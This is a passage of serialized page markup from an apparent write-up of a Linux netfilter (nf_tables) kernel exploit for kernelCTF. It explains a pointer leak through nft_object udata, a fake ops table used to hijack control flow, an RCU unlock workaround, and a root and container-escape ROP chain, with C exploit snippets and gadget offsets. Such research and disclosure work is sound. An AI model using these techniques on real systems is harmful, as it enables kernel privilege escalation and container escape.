",{"type":25,"tag":271,"props":68740,"children":68741},{"style":13603},[68742],{"type":30,"value":1065},{"type":25,"tag":271,"props":68744,"children":68745},{"style":13625},[68746],{"type":30,"value":16213},{"type":25,"tag":271,"props":68748,"children":68749},{"style":14289},[68750],{"type":30,"value":68751},"uint64_t",{"type":25,"tag":271,"props":68753,"children":68754},{"style":13603},[68755],{"type":30,"value":22940},{"type":25,"tag":271,"props":68757,"children":68758},{"style":13625},[68759],{"type":30,"value":440},{"type":25,"tag":271,"props":68761,"children":68762},{"style":13620},[68763],{"type":30,"value":68764},"getudata",{"type":25,"tag":271,"props":68766,"children":68767},{"style":13625},[68768],{"type":30,"value":68649},{"type":25,"tag":271,"props":68770,"children":68771},{"style":17388},[68772],{"type":30,"value":68773},"\"spray-2\"",{"type":25,"tag":271,"props":68775,"children":68776},{"style":13625},[68777],{"type":30,"value":13665},{"type":25,"tag":271,"props":68779,"children":68780},{"class":13593,"line":16992},[68781],{"type":25,"tag":271,"props":68782,"children":68783},{"style":13625},[68784],{"type":30,"value":23442},{"type":25,"tag":247,"props":68786,"children":68788},{"id":68787},"leaking-self-pointer-of-nft_object",[68789,68791],{"type":30,"value":68790},"Leaking self pointer of ",{"type":25,"tag":264,"props":68792,"children":68794},{"className":68793},[],[68795],{"type":30,"value":68230},{"type":25,"tag":26,"props":68797,"children":68798},{},[68799,68801,68806,68808,68813,68815,68820,68822,68828],{"type":30,"value":68800},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":25,"tag":264,"props":68802,"children":68804},{"className":68803},[],[68805],{"type":30,"value":68230},{"type":30,"value":68807}," to get its own address. This is possible because the ",{"type":25,"tag":264,"props":68809,"children":68811},{"className":68810},[],[68812],{"type":30,"value":68230},{"type":30,"value":68814}," has a ",{"type":25,"tag":264,"props":68816,"children":68818},{"className":68817},[],[68819],{"type":30,"value":68215},{"type":30,"value":68821}," pointer (similar to ",{"type":25,"tag":264,"props":68823,"children":68825},{"className":68824},[],[68826],{"type":30,"value":68827},"table->udata",{"type":30,"value":68829}," that I used for leaking KASLR), that I can use to read/write data.",{"type":25,"tag":26,"props":68831,"children":68832},{},[68833,68834,68839,68841,68847,68849,68854,68856,68861,68863,68869,68871,68876,68878,68883,68885,68890,68892],{"type":30,"value":10272},{"type":25,"tag":264,"props":68835,"children":68837},{"className":68836},[],[68838],{"type":30,"value":68230},{"type":30,"value":68840}," struct also contains a ",{"type":25,"tag":264,"props":68842,"children":68844},{"className":68843},[],[68845],{"type":30,"value":68846},"list_head",{"type":30,"value":68848}," inserted in a circular list containing all ",{"type":25,"tag":264,"props":68850,"children":68852},{"className":68851},[],[68853],{"type":30,"value":68230},{"type":30,"value":68855},"'s that belong to a given ",{"type":25,"tag":264,"props":68857,"children":68859},{"className":68858},[],[68860],{"type":30,"value":15346},{"type":30,"value":68862},". Considering that our object is currently alone in its table, the ",{"type":25,"tag":264,"props":68864,"children":68866},{"className":68865},[],[68867],{"type":30,"value":68868},"table->list.next",{"type":30,"value":68870}," pointer in the ",{"type":25,"tag":264,"props":68872,"children":68874},{"className":68873},[],[68875],{"type":30,"value":68230},{"type":30,"value":68877}," will point back to the ",{"type":25,"tag":264,"props":68879,"children":68881},{"className":68880},[],[68882],{"type":30,"value":68846},{"type":30,"value":68884}," contained in the ",{"type":25,"tag":264,"props":68886,"children":68888},{"className":68887},[],[68889],{"type":30,"value":15346},{"type":30,"value":68891}," and vice-versa.\n",{"type":25,"tag":698,"props":68893,"children":68895},{"alt":63694,"src":68894},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":25,"tag":26,"props":68897,"children":68898},{},[68899,68901,68906,68908,68913,68915,68921,68923,68928,68929,68934,68936,68941,68943,68948],{"type":30,"value":68900},"In short, that means that if we swap the ",{"type":25,"tag":264,"props":68902,"children":68904},{"className":68903},[],[68905],{"type":30,"value":68215},{"type":30,"value":68907}," pointer of the ",{"type":25,"tag":264,"props":68909,"children":68911},{"className":68910},[],[68912],{"type":30,"value":68230},{"type":30,"value":68914}," with its own ",{"type":25,"tag":264,"props":68916,"children":68918},{"className":68917},[],[68919],{"type":30,"value":68920},"list.next",{"type":30,"value":68922}," pointer we should be able to read a pointer back to the ",{"type":25,"tag":264,"props":68924,"children":68926},{"className":68925},[],[68927],{"type":30,"value":68230},{"type":30,"value":65455},{"type":25,"tag":264,"props":68930,"children":68932},{"className":68931},[],[68933],{"type":30,"value":68846},{"type":30,"value":68935}," which is also the start of the ",{"type":25,"tag":264,"props":68937,"children":68939},{"className":68938},[],[68940],{"type":30,"value":68230},{"type":30,"value":68942}," itself.\n",{"type":25,"tag":38,"props":68944,"children":68945},{},[68946],{"type":30,"value":68947},"NOTE:",{"type":30,"value":68949}," This is a novel small trick.",{"type":25,"tag":7764,"props":68951,"children":68953},{"className":42222,"code":68952,"language":42224,"meta":7,"style":7},"[...]\n    // Leak nft_object ptr using table linked list\n    fake_obj[8] = 8;           // ulen = 8\n    fake_obj[9] = fake_obj[0]; // udata = list->next\n    deludata_spray(nl, 2, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n    get_obj(nl, \"spray-0\", true);\n    printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[68954],{"type":25,"tag":264,"props":68955,"children":68956},{"__ignoreMap":7},[68957,68964,68972,68985,69033,69060,69071,69109,69116,69145,69175],{"type":25,"tag":271,"props":68958,"children":68959},{"class":13593,"line":13594},[68960],{"type":25,"tag":271,"props":68961,"children":68962},{"style":13625},[68963],{"type":30,"value":23442},{"type":25,"tag":271,"props":68965,"children":68966},{"class":13593,"line":11641},[68967],{"type":25,"tag":271,"props":68968,"children":68969},{"style":13625},[68970],{"type":30,"value":68971},"    // Leak nft_object ptr using table linked list\n",{"type":25,"tag":271,"props":68973,"children":68974},{"class":13593,"line":14354},[68975,68980],{"type":25,"tag":271,"props":68976,"children":68977},{"style":13625},[68978],{"type":30,"value":68979},"    fake_obj[8] = 8;",{"type":25,"tag":271,"props":68981,"children":68982},{"style":14385},[68983],{"type":30,"value":68984},"           // ulen = 8\n",{"type":25,"tag":271,"props":68986,"children":68987},{"class":13593,"line":14391},[68988,68993,68997,69002,69006,69010,69015,69019,69023,69028],{"type":25,"tag":271,"props":68989,"children":68990},{"style":13598},[68991],{"type":30,"value":68992},"    fake_obj",{"type":25,"tag":271,"props":68994,"children":68995},{"style":13625},[68996],{"type":30,"value":5604},{"type":25,"tag":271,"props":68998,"children":68999},{"style":16187},[69000],{"type":30,"value":69001},"9",{"type":25,"tag":271,"props":69003,"children":69004},{"style":13625},[69005],{"type":30,"value":21781},{"type":25,"tag":271,"props":69007,"children":69008},{"style":13603},[69009],{"type":30,"value":1065},{"type":25,"tag":271,"props":69011,"children":69012},{"style":13598},[69013],{"type":30,"value":69014}," fake_obj",{"type":25,"tag":271,"props":69016,"children":69017},{"style":13625},[69018],{"type":30,"value":5604},{"type":25,"tag":271,"props":69020,"children":69021},{"style":16187},[69022],{"type":30,"value":953},{"type":25,"tag":271,"props":69024,"children":69025},{"style":13625},[69026],{"type":30,"value":69027},"];",{"type":25,"tag":271,"props":69029,"children":69030},{"style":14385},[69031],{"type":30,"value":69032}," // udata = list->next\n",{"type":25,"tag":271,"props":69034,"children":69035},{"class":13593,"line":14400},[69036,69040,69044,69048,69052,69056],{"type":25,"tag":271,"props":69037,"children":69038},{"style":13620},[69039],{"type":30,"value":68644},{"type":25,"tag":271,"props":69041,"children":69042},{"style":13625},[69043],{"type":30,"value":68649},{"type":25,"tag":271,"props":69045,"children":69046},{"style":16187},[69047],{"type":30,"value":1326},{"type":25,"tag":271,"props":69049,"children":69050},{"style":13625},[69051],{"type":30,"value":44},{"type":25,"tag":271,"props":69053,"children":69054},{"style":16187},[69055],{"type":30,"value":968},{"type":25,"tag":271,"props":69057,"children":69058},{"style":13625},[69059],{"type":30,"value":13665},{"type":25,"tag":271,"props":69061,"children":69062},{"class":13593,"line":16406},[69063,69067],{"type":25,"tag":271,"props":69064,"children":69065},{"style":13620},[69066],{"type":30,"value":68673},{"type":25,"tag":271,"props":69068,"children":69069},{"style":13625},[69070],{"type":30,"value":16820},{"type":25,"tag":271,"props":69072,"children":69073},{"class":13593,"line":16434},[69074,69079,69083,69088,69092,69096,69100,69104],{"type":25,"tag":271,"props":69075,"children":69076},{"style":13620},[69077],{"type":30,"value":69078},"    udata_spray",{"type":25,"tag":271,"props":69080,"children":69081},{"style":13625},[69082],{"type":30,"value":68649},{"type":25,"tag":271,"props":69084,"children":69085},{"style":16187},[69086],{"type":30,"value":69087},"0xe8",{"type":25,"tag":271,"props":69089,"children":69090},{"style":13625},[69091],{"type":30,"value":44},{"type":25,"tag":271,"props":69093,"children":69094},{"style":16187},[69095],{"type":30,"value":7711},{"type":25,"tag":271,"props":69097,"children":69098},{"style":13625},[69099],{"type":30,"value":44},{"type":25,"tag":271,"props":69101,"children":69102},{"style":16187},[69103],{"type":30,"value":968},{"type":25,"tag":271,"props":69105,"children":69106},{"style":13625},[69107],{"type":30,"value":69108},", fake_obj);\n",{"type":25,"tag":271,"props":69110,"children":69111},{"class":13593,"line":16447},[69112],{"type":25,"tag":271,"props":69113,"children":69114},{"emptyLinePlaceholder":18},[69115],{"type":30,"value":16829},{"type":25,"tag":271,"props":69117,"children":69118},{"class":13593,"line":16465},[69119,69124,69128,69133,69137,69141],{"type":25,"tag":271,"props":69120,"children":69121},{"style":13620},[69122],{"type":30,"value":69123},"    get_obj",{"type":25,"tag":271,"props":69125,"children":69126},{"style":13625},[69127],{"type":30,"value":68649},{"type":25,"tag":271,"props":69129,"children":69130},{"style":17388},[69131],{"type":30,"value":69132},"\"spray-0\"",{"type":25,"tag":271,"props":69134,"children":69135},{"style":13625},[69136],{"type":30,"value":44},{"type":25,"tag":271,"props":69138,"children":69139},{"style":14289},[69140],{"type":30,"value":280},{"type":25,"tag":271,"props":69142,"children":69143},{"style":13625},[69144],{"type":30,"value":13665},{"type":25,"tag":271,"props":69146,"children":69147},{"class":13593,"line":16486},[69148,69153,69157,69162,69166,69170],{"type":25,"tag":271,"props":69149,"children":69150},{"style":13620},[69151],{"type":30,"value":69152},"    printf",{"type":25,"tag":271,"props":69154,"children":69155},{"style":13625},[69156],{"type":30,"value":394},{"type":25,"tag":271,"props":69158,"children":69159},{"style":17388},[69160],{"type":30,"value":69161},"\"[*] nft_object ptr: 0x%lx",{"type":25,"tag":271,"props":69163,"children":69164},{"style":61489},[69165],{"type":30,"value":61492},{"type":25,"tag":271,"props":69167,"children":69168},{"style":17388},[69169],{"type":30,"value":6294},{"type":25,"tag":271,"props":69171,"children":69172},{"style":13625},[69173],{"type":30,"value":69174},", obj_ptr);\n",{"type":25,"tag":271,"props":69176,"children":69177},{"class":13593,"line":16495},[69178],{"type":25,"tag":271,"props":69179,"children":69180},{"style":13625},[69181],{"type":30,"value":23442},{"type":25,"tag":247,"props":69183,"children":69185},{"id":69184},"hijacking-control-flow",[69186],{"type":30,"value":69187},"Hijacking control-flow",{"type":25,"tag":26,"props":69189,"children":69190},{},[69191,69193,69198,69200,69205,69207,69212,69214,69219,69221,69226,69228],{"type":30,"value":69192},"To hijack control-flow, we can use ",{"type":25,"tag":264,"props":69194,"children":69196},{"className":69195},[],[69197],{"type":30,"value":68230},{"type":30,"value":69199}," once again. The ",{"type":25,"tag":264,"props":69201,"children":69203},{"className":69202},[],[69204],{"type":30,"value":68230},{"type":30,"value":69206}," struct has an ",{"type":25,"tag":264,"props":69208,"children":69210},{"className":69209},[],[69211],{"type":30,"value":65786},{"type":30,"value":69213}," pointer to a function pointer table. We can swap the ",{"type":25,"tag":264,"props":69215,"children":69217},{"className":69216},[],[69218],{"type":30,"value":65786},{"type":30,"value":69220}," pointer with the ",{"type":25,"tag":264,"props":69222,"children":69224},{"className":69223},[],[69225],{"type":30,"value":68215},{"type":30,"value":69227}," pointer, taking control of the pointer table.\n",{"type":25,"tag":698,"props":69229,"children":69231},{"alt":63694,"src":69230},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":25,"tag":7764,"props":69233,"children":69235},{"className":42222,"code":69234,"language":42224,"meta":7,"style":7},"[...]\n    // Fake ops\n    uint64_t *rop = calloc(29, sizeof(uint64_t));\n    rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n    rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n    // Send ROP in object udata\n    del_obj(nl, \"spray-0\");\n    wait_destroyer();\n    obj_spray(nl, 1, 1, rop, 0xb8);\n    fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n    DumpHex(fake_obj, 0xe8);\n    uint64_t rop_addr = fake_obj[9]; // udata ptr\n    printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n    // Point to fake ops\n    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n    // Write ROP\n    puts(\"[*] Write ROP\");\n    deludata_spray(nl, 3, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n    // Takeover RIP\n    puts(\"[*] Takeover RIP\");\n    dump_obj(nl, \"spray-1\");\n[...]\n",[69236],{"type":25,"tag":264,"props":69237,"children":69238},{"__ignoreMap":7},[69239,69246,69254,69278,69325,69361,69368,69376,69408,69416,69424,69445,69453,69461,69524,69531,69539,69547,69554,69562,69596,69604,69611,69619,69626,69634,69667,69688],{"type":25,"tag":271,"props":69240,"children":69241},{"class":13593,"line":13594},[69242],{"type":25,"tag":271,"props":69243,"children":69244},{"style":13625},[69245],{"type":30,"value":23442},{"type":25,"tag":271,"props":69247,"children":69248},{"class":13593,"line":11641},[69249],{"type":25,"tag":271,"props":69250,"children":69251},{"style":13625},[69252],{"type":30,"value":69253},"    // Fake ops\n",{"type":25,"tag":271,"props":69255,"children":69256},{"class":13593,"line":14354},[69257,69262,69266,69270,69274],{"type":25,"tag":271,"props":69258,"children":69259},{"style":13625},[69260],{"type":30,"value":69261},"    uint64_t *rop = calloc(29, ",{"type":25,"tag":271,"props":69263,"children":69264},{"style":13609},[69265],{"type":30,"value":68444},{"type":25,"tag":271,"props":69267,"children":69268},{"style":13625},[69269],{"type":30,"value":394},{"type":25,"tag":271,"props":69271,"children":69272},{"style":14289},[69273],{"type":30,"value":68751},{"type":25,"tag":271,"props":69275,"children":69276},{"style":13625},[69277],{"type":30,"value":20346},{"type":25,"tag":271,"props":69279,"children":69280},{"class":13593,"line":14391},[69281,69286,69290,69294,69298,69302,69307,69311,69316,69320],{"type":25,"tag":271,"props":69282,"children":69283},{"style":13598},[69284],{"type":30,"value":69285},"    rop",{"type":25,"tag":271,"props":69287,"children":69288},{"style":13625},[69289],{"type":30,"value":5604},{"type":25,"tag":271,"props":69291,"children":69292},{"style":16187},[69293],{"type":30,"value":953},{"type":25,"tag":271,"props":69295,"children":69296},{"style":13625},[69297],{"type":30,"value":21781},{"type":25,"tag":271,"props":69299,"children":69300},{"style":13603},[69301],{"type":30,"value":1065},{"type":25,"tag":271,"props":69303,"children":69304},{"style":13625},[69305],{"type":30,"value":69306}," kaslr_slide ",{"type":25,"tag":271,"props":69308,"children":69309},{"style":13603},[69310],{"type":30,"value":2074},{"type":25,"tag":271,"props":69312,"children":69313},{"style":16187},[69314],{"type":30,"value":69315}," 0xffffffff81988647",{"type":25,"tag":271,"props":69317,"children":69318},{"style":13625},[69319],{"type":30,"value":62190},{"type":25,"tag":271,"props":69321,"children":69322},{"style":14385},[69323],{"type":30,"value":69324}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":25,"tag":271,"props":69326,"children":69327},{"class":13593,"line":14400},[69328,69332,69336,69340,69344,69348,69352,69356],{"type":25,"tag":271,"props":69329,"children":69330},{"style":13598},[69331],{"type":30,"value":69285},{"type":25,"tag":271,"props":69333,"children":69334},{"style":13625},[69335],{"type":30,"value":5604},{"type":25,"tag":271,"props":69337,"children":69338},{"style":16187},[69339],{"type":30,"value":1326},{"type":25,"tag":271,"props":69341,"children":69342},{"style":13625},[69343],{"type":30,"value":21781},{"type":25,"tag":271,"props":69345,"children":69346},{"style":13603},[69347],{"type":30,"value":1065},{"type":25,"tag":271,"props":69349,"children":69350},{"style":13625},[69351],{"type":30,"value":69306},{"type":25,"tag":271,"props":69353,"children":69354},{"style":13603},[69355],{"type":30,"value":2074},{"type":25,"tag":271,"props":69357,"children":69358},{"style":13625},[69359],{"type":30,"value":69360}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":25,"tag":271,"props":69362,"children":69363},{"class":13593,"line":16406},[69364],{"type":25,"tag":271,"props":69365,"children":69366},{"style":13625},[69367],{"type":30,"value":23442},{"type":25,"tag":271,"props":69369,"children":69370},{"class":13593,"line":16434},[69371],{"type":25,"tag":271,"props":69372,"children":69373},{"style":13625},[69374],{"type":30,"value":69375},"    // Send ROP in object udata\n",{"type":25,"tag":271,"props":69377,"children":69378},{"class":13593,"line":16447},[69379,69384,69388,69393,69398,69403],{"type":25,"tag":271,"props":69380,"children":69381},{"style":13625},[69382],{"type":30,"value":69383},"    del_obj(",{"type":25,"tag":271,"props":69385,"children":69386},{"style":13609},[69387],{"type":30,"value":67406},{"type":25,"tag":271,"props":69389,"children":69390},{"style":13625},[69391],{"type":30,"value":69392},", \"",{"type":25,"tag":271,"props":69394,"children":69395},{"style":13609},[69396],{"type":30,"value":69397},"spray",{"type":25,"tag":271,"props":69399,"children":69400},{"style":13625},[69401],{"type":30,"value":69402},"-0",{"type":25,"tag":271,"props":69404,"children":69405},{"style":17388},[69406],{"type":30,"value":69407},"\");\n",{"type":25,"tag":271,"props":69409,"children":69410},{"class":13593,"line":16465},[69411],{"type":25,"tag":271,"props":69412,"children":69413},{"style":17388},[69414],{"type":30,"value":69415},"    wait_destroyer();\n",{"type":25,"tag":271,"props":69417,"children":69418},{"class":13593,"line":16486},[69419],{"type":25,"tag":271,"props":69420,"children":69421},{"style":17388},[69422],{"type":30,"value":69423},"    obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":25,"tag":271,"props":69425,"children":69426},{"class":13593,"line":16495},[69427,69432,69436,69441],{"type":25,"tag":271,"props":69428,"children":69429},{"style":17388},[69430],{"type":30,"value":69431},"    fake_obj = (uint64_t *)getudata(nl, \"",{"type":25,"tag":271,"props":69433,"children":69434},{"style":14289},[69435],{"type":30,"value":69397},{"type":25,"tag":271,"props":69437,"children":69438},{"style":13625},[69439],{"type":30,"value":69440},"-3",{"type":25,"tag":271,"props":69442,"children":69443},{"style":17388},[69444],{"type":30,"value":69407},{"type":25,"tag":271,"props":69446,"children":69447},{"class":13593,"line":16744},[69448],{"type":25,"tag":271,"props":69449,"children":69450},{"style":17388},[69451],{"type":30,"value":69452},"    DumpHex(fake_obj, 0xe8);\n",{"type":25,"tag":271,"props":69454,"children":69455},{"class":13593,"line":16761},[69456],{"type":25,"tag":271,"props":69457,"children":69458},{"style":17388},[69459],{"type":30,"value":69460},"    uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":25,"tag":271,"props":69462,"children":69463},{"class":13593,"line":16778},[69464,69469,69473,69477,69481,69486,69491,69496,69500,69505,69510,69515,69519],{"type":25,"tag":271,"props":69465,"children":69466},{"style":17388},[69467],{"type":30,"value":69468},"    printf(\"",{"type":25,"tag":271,"props":69470,"children":69471},{"style":13625},[69472],{"type":30,"value":5604},{"type":25,"tag":271,"props":69474,"children":69475},{"style":13603},[69476],{"type":30,"value":17702},{"type":25,"tag":271,"props":69478,"children":69479},{"style":13625},[69480],{"type":30,"value":21781},{"type":25,"tag":271,"props":69482,"children":69483},{"style":13609},[69484],{"type":30,"value":69485},"ROP",{"type":25,"tag":271,"props":69487,"children":69488},{"style":13609},[69489],{"type":30,"value":69490}," addr",{"type":25,"tag":271,"props":69492,"children":69493},{"style":13625},[69494],{"type":30,"value":69495},": 0",{"type":25,"tag":271,"props":69497,"children":69498},{"style":13609},[69499],{"type":30,"value":1136},{"type":25,"tag":271,"props":69501,"children":69502},{"style":13625},[69503],{"type":30,"value":69504},"%",{"type":25,"tag":271,"props":69506,"children":69507},{"style":13609},[69508],{"type":30,"value":69509},"lx",{"type":25,"tag":271,"props":69511,"children":69512},{"style":13625},[69513],{"type":30,"value":69514},"\\",{"type":25,"tag":271,"props":69516,"children":69517},{"style":13609},[69518],{"type":30,"value":1023},{"type":25,"tag":271,"props":69520,"children":69521},{"style":17388},[69522],{"type":30,"value":69523},"\", rop_addr);\n",{"type":25,"tag":271,"props":69525,"children":69526},{"class":13593,"line":16791},[69527],{"type":25,"tag":271,"props":69528,"children":69529},{"emptyLinePlaceholder":18},[69530],{"type":30,"value":16829},{"type":25,"tag":271,"props":69532,"children":69533},{"class":13593,"line":16800},[69534],{"type":25,"tag":271,"props":69535,"children":69536},{"style":17388},[69537],{"type":30,"value":69538},"    // Point to fake ops\n",{"type":25,"tag":271,"props":69540,"children":69541},{"class":13593,"line":16823},[69542],{"type":25,"tag":271,"props":69543,"children":69544},{"style":17388},[69545],{"type":30,"value":69546},"    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":25,"tag":271,"props":69548,"children":69549},{"class":13593,"line":16832},[69550],{"type":25,"tag":271,"props":69551,"children":69552},{"style":17388},[69553],{"type":30,"value":23442},{"type":25,"tag":271,"props":69555,"children":69556},{"class":13593,"line":16841},[69557],{"type":25,"tag":271,"props":69558,"children":69559},{"style":17388},[69560],{"type":30,"value":69561},"    // Write ROP\n",{"type":25,"tag":271,"props":69563,"children":69564},{"class":13593,"line":16907},[69565,69570,69574,69578,69582,69587,69592],{"type":25,"tag":271,"props":69566,"children":69567},{"style":17388},[69568],{"type":30,"value":69569},"    puts(\"",{"type":25,"tag":271,"props":69571,"children":69572},{"style":13625},[69573],{"type":30,"value":5604},{"type":25,"tag":271,"props":69575,"children":69576},{"style":13603},[69577],{"type":30,"value":17702},{"type":25,"tag":271,"props":69579,"children":69580},{"style":13625},[69581],{"type":30,"value":21781},{"type":25,"tag":271,"props":69583,"children":69584},{"style":13609},[69585],{"type":30,"value":69586},"Write",{"type":25,"tag":271,"props":69588,"children":69589},{"style":13609},[69590],{"type":30,"value":69591}," ROP",{"type":25,"tag":271,"props":69593,"children":69594},{"style":17388},[69595],{"type":30,"value":69407},{"type":25,"tag":271,"props":69597,"children":69598},{"class":13593,"line":16915},[69599],{"type":25,"tag":271,"props":69600,"children":69601},{"style":17388},[69602],{"type":30,"value":69603},"    deludata_spray(nl, 3, 1);\n",{"type":25,"tag":271,"props":69605,"children":69606},{"class":13593,"line":16945},[69607],{"type":25,"tag":271,"props":69608,"children":69609},{"style":17388},[69610],{"type":30,"value":69415},{"type":25,"tag":271,"props":69612,"children":69613},{"class":13593,"line":16953},[69614],{"type":25,"tag":271,"props":69615,"children":69616},{"style":17388},[69617],{"type":30,"value":69618},"    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":25,"tag":271,"props":69620,"children":69621},{"class":13593,"line":16984},[69622],{"type":25,"tag":271,"props":69623,"children":69624},{"emptyLinePlaceholder":18},[69625],{"type":30,"value":16829},{"type":25,"tag":271,"props":69627,"children":69628},{"class":13593,"line":16992},[69629],{"type":25,"tag":271,"props":69630,"children":69631},{"style":17388},[69632],{"type":30,"value":69633},"    // Takeover RIP\n",{"type":25,"tag":271,"props":69635,"children":69636},{"class":13593,"line":17052},[69637,69641,69645,69649,69653,69658,69663],{"type":25,"tag":271,"props":69638,"children":69639},{"style":17388},[69640],{"type":30,"value":69569},{"type":25,"tag":271,"props":69642,"children":69643},{"style":13625},[69644],{"type":30,"value":5604},{"type":25,"tag":271,"props":69646,"children":69647},{"style":13603},[69648],{"type":30,"value":17702},{"type":25,"tag":271,"props":69650,"children":69651},{"style":13625},[69652],{"type":30,"value":21781},{"type":25,"tag":271,"props":69654,"children":69655},{"style":13609},[69656],{"type":30,"value":69657},"Takeover",{"type":25,"tag":271,"props":69659,"children":69660},{"style":13609},[69661],{"type":30,"value":69662}," RIP",{"type":25,"tag":271,"props":69664,"children":69665},{"style":17388},[69666],{"type":30,"value":69407},{"type":25,"tag":271,"props":69668,"children":69669},{"class":13593,"line":22168},[69670,69675,69679,69684],{"type":25,"tag":271,"props":69671,"children":69672},{"style":17388},[69673],{"type":30,"value":69674},"    dump_obj(nl, \"",{"type":25,"tag":271,"props":69676,"children":69677},{"style":14289},[69678],{"type":30,"value":69397},{"type":25,"tag":271,"props":69680,"children":69681},{"style":13625},[69682],{"type":30,"value":69683},"-1",{"type":25,"tag":271,"props":69685,"children":69686},{"style":17388},[69687],{"type":30,"value":69407},{"type":25,"tag":271,"props":69689,"children":69690},{"class":13593,"line":22186},[69691],{"type":25,"tag":271,"props":69692,"children":69693},{"style":17388},[69694],{"type":30,"value":23442},{"type":25,"tag":247,"props":69696,"children":69698},{"id":69697},"bypass-context-switch-in-rcu-critical-section",[69699],{"type":30,"value":69700},"Bypass context switch in RCU critical-section",{"type":25,"tag":26,"props":69702,"children":69703},{},[69704,69705,69710],{"type":30,"value":10272},{"type":25,"tag":264,"props":69706,"children":69708},{"className":69707},[],[69709],{"type":30,"value":68230},{"type":30,"value":69711}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":25,"tag":26,"props":69713,"children":69714},{},[69715,69717,69724,69726,69732,69734,69740],{"type":30,"value":69716},"A workaround has been discussed before by D3v17 in a ",{"type":25,"tag":83,"props":69718,"children":69721},{"href":69719,"rel":69720},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[9066],[69722],{"type":30,"value":69723},"previous kernelCTF submission",{"type":30,"value":69725}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":25,"tag":264,"props":69727,"children":69729},{"className":69728},[],[69730],{"type":30,"value":69731},"task_struct",{"type":30,"value":69733}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":25,"tag":264,"props":69735,"children":69737},{"className":69736},[],[69738],{"type":30,"value":69739},"__rcu_read_unlock()",{"type":30,"value":69741}," function and exit the RCU critical-section before switching contexts.",{"type":25,"tag":7764,"props":69743,"children":69745},{"className":42222,"code":69744,"language":42224,"meta":7,"style":7},"    // ROP stage 1\n    int pos = 3;\n\n    rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[69746],{"type":25,"tag":264,"props":69747,"children":69748},{"__ignoreMap":7},[69749,69757,69781,69788],{"type":25,"tag":271,"props":69750,"children":69751},{"class":13593,"line":13594},[69752],{"type":25,"tag":271,"props":69753,"children":69754},{"style":14385},[69755],{"type":30,"value":69756},"    // ROP stage 1\n",{"type":25,"tag":271,"props":69758,"children":69759},{"class":13593,"line":11641},[69760,69764,69769,69773,69777],{"type":25,"tag":271,"props":69761,"children":69762},{"style":14289},[69763],{"type":30,"value":32198},{"type":25,"tag":271,"props":69765,"children":69766},{"style":13625},[69767],{"type":30,"value":69768}," pos ",{"type":25,"tag":271,"props":69770,"children":69771},{"style":13603},[69772],{"type":30,"value":1065},{"type":25,"tag":271,"props":69774,"children":69775},{"style":16187},[69776],{"type":30,"value":32220},{"type":25,"tag":271,"props":69778,"children":69779},{"style":13625},[69780],{"type":30,"value":16165},{"type":25,"tag":271,"props":69782,"children":69783},{"class":13593,"line":14354},[69784],{"type":25,"tag":271,"props":69785,"children":69786},{"emptyLinePlaceholder":18},[69787],{"type":30,"value":16829},{"type":25,"tag":271,"props":69789,"children":69790},{"class":13593,"line":14391},[69791,69795,69800,69804,69808,69812,69816,69820],{"type":25,"tag":271,"props":69792,"children":69793},{"style":13598},[69794],{"type":30,"value":69285},{"type":25,"tag":271,"props":69796,"children":69797},{"style":13625},[69798],{"type":30,"value":69799},"[pos",{"type":25,"tag":271,"props":69801,"children":69802},{"style":13603},[69803],{"type":30,"value":64385},{"type":25,"tag":271,"props":69805,"children":69806},{"style":13625},[69807],{"type":30,"value":21781},{"type":25,"tag":271,"props":69809,"children":69810},{"style":13603},[69811],{"type":30,"value":1065},{"type":25,"tag":271,"props":69813,"children":69814},{"style":13625},[69815],{"type":30,"value":69306},{"type":25,"tag":271,"props":69817,"children":69818},{"style":13603},[69819],{"type":30,"value":2074},{"type":25,"tag":271,"props":69821,"children":69822},{"style":13625},[69823],{"type":30,"value":69824}," __RCU_READ_UNLOCK;\n",{"type":25,"tag":247,"props":69826,"children":69828},{"id":69827},"rop",[69829],{"type":30,"value":69485},{"type":25,"tag":26,"props":69831,"children":69832},{},[69833],{"type":30,"value":69834},"Most of the ROP chain to escape the container as root is business as usual:",{"type":25,"tag":108,"props":69836,"children":69837},{},[69838,69849,69860],{"type":25,"tag":112,"props":69839,"children":69840},{},[69841,69847],{"type":25,"tag":264,"props":69842,"children":69844},{"className":69843},[],[69845],{"type":30,"value":69846},"commit_creds(&init_cred);",{"type":30,"value":69848}," Commit root credentials to our process",{"type":25,"tag":112,"props":69850,"children":69851},{},[69852,69858],{"type":25,"tag":264,"props":69853,"children":69855},{"className":69854},[],[69856],{"type":30,"value":69857},"task = find_task_by_vpid(1);",{"type":30,"value":69859}," Find the root process of our namespace",{"type":25,"tag":112,"props":69861,"children":69862},{},[69863,69869],{"type":25,"tag":264,"props":69864,"children":69866},{"className":69865},[],[69867],{"type":30,"value":69868},"switch_task_namespaces(task, &init_nsproxy);",{"type":30,"value":69870}," Move it to the root 